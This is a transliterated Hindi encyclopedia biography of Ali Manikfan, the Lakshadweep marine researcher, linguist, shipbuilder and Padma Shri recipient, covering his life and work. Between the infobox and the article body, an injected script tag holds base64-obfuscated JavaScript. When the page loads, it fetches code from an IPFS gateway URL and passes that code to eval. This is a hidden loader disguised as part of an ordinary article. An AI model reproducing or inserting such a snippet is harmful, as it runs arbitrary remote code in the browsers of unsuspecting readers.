अली मानिकफ़ान
ali manikafan
| |
| poora nam | ali manikafan |
| janm | 16 march, 1938 |
| janm bhoomi | minik aauy ailaiand, lakshadvip |
| karm bhoomi | bharat |
| puraskar-upadhi | 'padmashri' (2021) |
| nagarikata | bharatiy |
| vishesh | sirph 7vian tak padhe ali manikafan 14 bhashaean janate haian. |
| any janakari | marin bayol aauji, marin risarch, jiyographi, estron aaumi, soshal saians, tredishanal shipabildiang, phisharij, egrikalchar jaise tamam kshetroan mean ali manikafan ne kam kiya hai. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>ali manikafan (aangrezi: Ali Manikfan, janm- 16 march, 1938) bharatiy samudri shodhakarta, ikol aaujist aur shipabildar haian. sal 2021 mean jin 102 hastiyoan ko 'padmashri' se navaja gaya hai, unhian mean se ek haian ali manikaphan. dubale-patale aur samany kad kathi ke ali manikaphan ne bina padhaee-likhaee ke saphalata ki vo kahani rach di hai, jo har kisi ko prerit kar sakati hai. 82 sal ke ali manikaphan kahane ko skool to sirph 7vian kaksha tak hi padhe haian, lekin unhean 14 bhashaean ati haian. yahi nahian, unhoanne marin risarch se lekar egrikalchar sektar tak mean kam kiya hai.
parichay
ali manikafan keral ke olavana shahar mean ek kirae ke ghar mean rahate haian. jabaki inaki jiandagi ka bahut b da hissa lakshadvip ke minik aauy ailaiand par bita hai. vah kahate haian ki 'jab maian 9 sal ka tha, tab gharavaloan ne padhaee ke lie keral ke kannoor bhej diya, kyoanki vahaan pitaji ke kee janane vale rahate the. us samay h aaustal to hua nahian karate the, isalie unake ghar mean hi rahata tha. vahian rahate hue satavian klas tak padhaee ki, lekin phir vapas ailaiand laut aya, kyoanki vahaan takaliphean bahut thian aur ailaiand se door rahana bhi mushkil ho raha tha.'[1]
bhashaoan ke janakar
sal 1956 mean ali manikafan 6 mahine ke lie kolakata chale ge. bole, 'kolakata mean rahane ke dauran mujhe alag-alag vishayoan ki kitabean milian, to unake bare mean aur jyada janane ke lie man mean utsukata a gee. isalie jab vahaan se lauta to alag-alag bhashaoan ki bahut sari kitabean apane sath ailaiand par le aya. inhian kitaboan ko padh-padhakar arabi, aangrezi, hiandi, malayalam, laitin, phreanch, rashiyan, jarman, sianhali, parshiyan, sanskrit, tamil, urdoo sikhi. hamare kshetr mean jo bhashaoan ke janakar hote the, unake sath bhi baithata tha. sabhi bhashaean bol to nahian pata, lekin likhana-padhana ata hai. bolana isalie nahian aya, kyoanki un bhashaoan mean batachit karane vala koee asapas nahian tha. hiandi, aangrezi, malayalam, urdoo, tamil, telugu bol bhi leta hooan, kyoanki in bhashaoan ko bolane vale bahut log haian.'
machhaliyoan ki khojabin
ali manikafan ailaiand par rahate the, isalie machhaliyoan ko janane ke bare mean bhi utsukata jagi. vah kahate haian ki 'maianne machhaliyoan ko lekar itani khojabin kar li thi ki ailaiand mean maujood lagabhag har prajati ki machhali ke bare mean jan gaya tha. isi ka natija raha ki sal 1960 mean mujhe seantral marin phisharij risarch ianstityoot mean bataur laib ateandeant jv aauiniang mili. is dauran bahut risarch ki. ek durlabh machhali ki khoj bhi ki, jisaka nam hi mere nam par 'abudaphud manikaphani' rakha gaya.' 1980 mean ali manikaphan ne ritayarameant le liya.[1]
jo sikhate ge, use chho date ge
jab poochha gaya unase ki aisa kyoan kiya? to bole, 'maian ek hi kam hamesha nahian kar sakata tha. ne-ne kam shuroo karata tha. unake bare mean janata tha aur jab ve poore ho jate the to phir unhean chho d deta tha. siemaeearaee mean 20 sal tak kaphi kam kar liya tha.'
'sal 1981 mean mujhe oman mean ek jahaj banane ke lie amantrit kiya gaya. vahaan tim siraven ke sath milakar 27 mitar lanba jahaj banaya, jisamean lak di aur k aauyar ka istemal kiya gaya tha.' jab unase poochha gaya gaya ki apane ye kam kab sikha? to bole, 'jab chhota tha, tab ek ga di bik rahi thi, kyoanki vo sudhar nahian sakati thi. isalie maianne us ga di ko kharid liya. use poora khol diya aur phir bana bhi diya. usase kee sal ailaiand par ghooma. ye sab kam dilachaspi se sikhate gaya. jo ship hamane banaee thi, vo aj bhi oman ke sangrahalay mean surakshit rakhi hai.'
banjar bhoomi mean hariyali
isake bad kheti ki taraph man badha to ali manikafan usamean kam karane lage. tamilanadu ke tirunelaveli mean banjar p di 15 ek d bhoomi ko svadeshi tarikoan se hara-bhara kar diya. tredishanal materiyal se hi rahane ke lie vahaan ek ghar bhi banaya.
kary anubhav
marin bayol aauji, marin risarch, jiyographi, estron aaumi, soshal saians, tredishanal shipabildiang, phisharij, egrikalchar jaise tamam eriya mean ali manikafan ne kam kiya. ailaiand mean jab pahala skool khula tha to vahaan ek sal bachchoan ko padhane ka kam bhi kiya. ab bhi unaki kuchh naya sikhane ki adat gee nahian hai. vah nahian janate the ki unhean 'padmashri' milane vala hai. jab grih vibhag se phon aya, tabhi unhean isaki janakari huee. uttarakhand ke chamoli mean gleshiyar phatane ki ghatana par kahate haian ki 'ye sab to manaviy bhooloan ke karan hi ho raha hai. l aaukadaun mean prakriti achchhi hone lagi thi, lekin ab ham dobara prakriti ko kharab karane lage haian. isi ka khamiyaja uttarakhand ko bhugatana p da hai.'[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 7vian tak padhe padmashri ali manikaphan ki kahani (hiandi) bhaskar.com. abhigaman tithi: 12 faravari, 2020.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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